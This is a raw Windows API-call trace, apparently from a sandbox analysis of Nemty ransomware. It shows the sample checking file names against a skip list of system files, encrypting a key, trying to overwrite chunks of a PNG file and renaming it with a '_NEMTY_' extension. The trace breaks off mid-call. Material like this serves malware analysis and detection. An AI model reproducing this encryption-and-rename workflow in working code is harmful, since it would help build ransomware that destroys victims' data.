-1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="BOOTSECT.BAK") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="bootmgr") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="programdata") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="appdata") returned 1 [0060.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureA.png", lpUsedDefaultChar=0x0) returned 31 [0060.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0060.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureA.png", lpUsedDefaultChar=0x0) returned 31 [0060.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0060.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureA.png", lpUsedDefaultChar=0x0) returned 31 [0060.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureA.png", lpUsedDefaultChar=0x0) returned 31 [0060.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0060.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0060.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0060.106] Sleep (dwMilliseconds=0x5) [0060.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd778d690, dwHighDateTime=0x1d561e7)) [0060.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd778d690, dwHighDateTime=0x1d561e7)) [0060.107] GetLastError () returned 0x5 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.107] GetLastError () returned 0x5 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0060.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0060.107] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0060.107] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="dmyRUckVeNspLuEnaL5U8vuXhfobzRMkKDj6VdWe+R1Qt6xMEqfz+TbxGbWryzuo\r\nyxMcH5tI1gBuZUUeY1cSE9g0OREiA/rJ/ngRHzOYlIUcWiw+CqAyIXVthEISUJay\r\nsMNm4eWFal1U42VZftQ1YI6V3IwLGm69MQqB8aitu4P6SOwmNiJ9gqjnoHZ812tN\r\nAOgOemQQ5lzzRU3ao5KL8cwJQ8OmrIH6Kc27jioTz6EpV65YQEZju1YoN+37C8c2\r\nwzp1BlgQ1kDMdDF8OBz+wrLiLntByTAU5laSAd7Q9DPr5wmtVShubyEhZxRQEPAM\r\ncEwUGatc4jRV3q2DxMD9Vg==\r\n", pcchString=0x653ec5c) returned 1 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0060.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0060.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0060.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.108] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0060.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0060.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.173] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0060.230] CloseHandle (hObject=0xffffffff) returned 0 [0060.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0060.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0060.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.231] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png._nemty_kgobjgd_")) returned 0 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.231] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="..") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="...") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="windows") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="$RECYCLE.BIN") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="rsa") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="NTDETECT.COM") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="ntldr") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="MSDOS.SYS") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="IO.SYS") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="boot.ini") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="boot.ini") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="AUTOEXEC.BAT") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="ntuser.dat") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="desktop.ini") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="CONFIG.SYS") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="RECYCLER") returned -1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="BOOTSECT.BAK") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="bootmgr") returned 1 [0060.231] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="programdata") returned -1 [0060.232] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="appdata") returned 1 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureB.png", lpUsedDefaultChar=0x0) returned 31 [0060.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureB.png", 